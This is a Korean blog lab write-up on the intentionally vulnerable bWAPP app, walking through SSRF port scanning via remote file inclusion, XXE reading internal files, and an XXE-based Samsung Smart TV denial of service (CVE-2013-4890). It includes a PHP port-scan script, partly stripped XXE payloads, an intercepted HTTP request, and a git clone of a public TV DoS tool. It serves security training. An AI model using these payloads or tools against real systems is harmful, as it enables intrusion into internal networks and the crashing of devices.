정보보안(구버전)/ bWAPP 2019. 2. 22. 21:21
웹 해킹 bWAPP - 97. A7 - Missing Functional Level Access Control - Server Side Request Forgery(SSRF)
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Missing Functional Level Access Control
- OWASP Top10 A7 - 기능 수준의 접근 통제 누락
- 접근 통제 및 검증이 서버 설정, 관리 부분에서 제대로 구성되지 않았을때 중요 자원 접근이 가능한 취약점이다.
- Ex) 디렉토리 접근, 파일 접근, 파일 다운로드 및 업로드
2. Server Side Request Forgery(SSRF)
- 공격자가 변조된 요청을 서버에게 전송하여 서버가 내부망에 악의적인 요청을 보내는 취약점이다.
- 이를 통해서 내부망 접근, 스캔, 보안 장비 우회가 가능하게 된다.
- Ex) 서버가 요청 정보를 수신하여 다른 웹, 포트에 직접 접근하는 경우
3. XML External Entity Attacks(XXE)
- XML 인젝션을 실시하여 XML Parser(마크업 분석/구조화된 정보를 어플리케이션에게 전달하는 프로세서)
를 통해 페이지의 내용을 대체하는 권한을 획득하는 취약점이다.
- 이를 통해서 서버 시스템 내부 자원을 접근할 수 있다.
4. Missing Functional Level Access Control - Server Side Request Forgery(SSRF)
- 이 시나리오는 SSRF 취약점 중에 RFI를 이용한 포트 스캔, XEE를 이용한 내부망 자원 접근, XEE를 이용한 삼성
스마트 TV Dos 공격하는 내용이다. 단, bWAPP 내부망에 다른 시스템이 없기 때문에 bWAPP 내부 취약점을 알아본다.
Ex1) Missing Functional Level Access Control - Server Side Request Forgery(SSRF) 이해 I
보안 레벨 선택 및 시나리오 선택
SSRF 시나리오 3가지 내용 확인
시나리오 관련 파일 확인
bee@bee-box:/var/www/bWAPP$ cd ../evil |
Ex2) Missing Functional Level Access Control - Server Side Request Forgery(SSRF) 이해 II
- RFI를 이용한 포트 스캔(bWAPP 내부망에 다른 시스템이 없기 때문에 bWAPP을 타켓으로 실시함)
bee@bee-box:/var/www/evil$ vi ssrf-1.txt
~ 중간 생략 ~
echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";
if(isset($_REQUEST["ip"])) if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
$results[$port] = true; $results[$port] = false; } }
$prot = getservbyport($port,"tcp");
if($val)
echo "<span style=\"color:green\">OK</span><br/>"; } else
echo "<span style=\"color:red\">Inaccessible</span><br/>"; }
}
}
:q! |
'Port scan' 클릭
'ssrf-1.txt' 파일 URL 주소 복사 실시
'Remote & Local File Inclusion(RFI/LFI)' 시나리오 선택
'Go' 버튼 클릭
'ssrf-1.txt' 링크 인젝션 실시 -> 메세지 확인 -> '확인' 버튼 클릭
RFI를 이용한 포트 스캔 결과 확인
Ex3) Missing Functional Level Access Control - Server Side Request Forgery(SSRF) 이해 III
- XXE를 이용한 내부망 자원 접근(bWAPP 내부망에 다른 시스템이 없기 때문에 bWAPP을 타켓으로 실시함)
bee@bee-box:/var/www/evil$ vi ssrf-2.txt
# Accesses a file on the internal network (1)
<?xml version="1.0" encoding="utf-8"?>
<?xml version="1.0" encoding="utf-8"?>
:q! |
'Server Side Request Forgery(SSRF)' 시나리오 선택
'Access' 클릭
XXE 스크립트 2개 복사 실시
'SQL Injection - Stored(XML)' 시나리오 선택
Intercept -> 'Intercept is on' 으로 변경 실시
'Any bugs?" 버튼 클릭
마우스 우클릭 -> 'Send to Repeater' 클릭 -> Repeater 클릭 및 이동
Request Body에 XEE 스크립트 실시
POST /bWAPP/sqli_8-2.php HTTP/1.1 Host: 192.168.20.205 User-Agent: Mozilla/5.0 (Linux; Android 7.0; PLUS Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.20.205/bWAPP/sqli_8-1.php Content-Type: text/xml; charset=UTF-8 Content-Length: 59 Cookie: PHPSESSID=72c2ecdfb957492d99fae2b7819d7648; security_level=0 Connection: close
<reset><login>bee</login><secret>Any bugs?</secret></reset> <- 기존 내용
<?xml version="1.0" encoding="utf-8"?> |
'Go' 버튼 클릭 -> Response에 'robots.txt' 파일 내용 확인
Request Body에 XEE 스크립트 실시 -> 'Go' 버튼 클릭 -> Response 내용의 'heroes.xml' Base64 인코딩 내용 확인
'Proxy' 클릭 및 이동 -> Intercept is on 클릭하여 off 실시
'Intercept is off' 확인
[참고] Base64 인코드/디코드 사이트
'heroes.xml' Base64 디코딩 실시 및 내용 확인
Ex4) Missing Functional Level Access Control - Server Side Request Forgery(SSRF) 이해 IV
- XXE를 이용한 삼성 스마트 TV(PS50C7700) Dos 공격이다.
- GET 요청으로 A를 300개를 설정하여 전송하면 서비스가 중지되는 취약점이다.
- 참고 사이트 : https://www.exploit-db.com/exploits/27043
- CVE-2013-4890 취약점 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4890
'exploit-db' 사이트 내용
# Sends the payload
# Checks the response |
CVE-2013-4890 취약점
bee@bee-box:/var/www/evil$ vi ssrf-3.txt
# Crashes my Samsung SmartTV (CVE-2013-4890) ;)
<?xml version="1.0" encoding="utf-8"?> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"> :q!
bee@bee-box:/var/www/evil$ cd - |
'Server Side Request Forgery(SSRF)' 시나리오 선택
'Crash' 클릭
A 300개를 GET 요청에 삽입하여 전송하면 공격이 실시됨
삼성 스마트 TV(192.168.1.3)을 타켓으로 nmap 실시(모델이 다른 TV이기 때문에 5600 포트가 안보임)
root@kali:~# nmap -sS 192.168.1.3
Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-25 15:22 KST
Nmap done: 1 IP address (1 host up) scanned in 14.05 seconds
|
와이어샤크 실행 -> 'eth0' 캡처 실시
root@kali:~/# wireshark & |
97-4. CVE-2013-4890 툴 다운로드.txt
삼성 스마트 TV 공격 소스 코드 다운로드 및 실행
root@kali:~# git clone https://github.com/r00t-3xp10it/Samsung-TV-Denial-of-Service-DoS-Attack.git
root@kali:~# cd Samsung-TV-Denial-of-Service-DoS-Attack
|
와이어샤크 캡처 내용 확인(목적지 포트 5600 확인)
참고 영상 : https://www.youtube.com/watch?v=U-R2epNnUiM
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 97. A7 - bWAPP Missing Functional Level Access Control - Server Side Request Forgery(SSRF)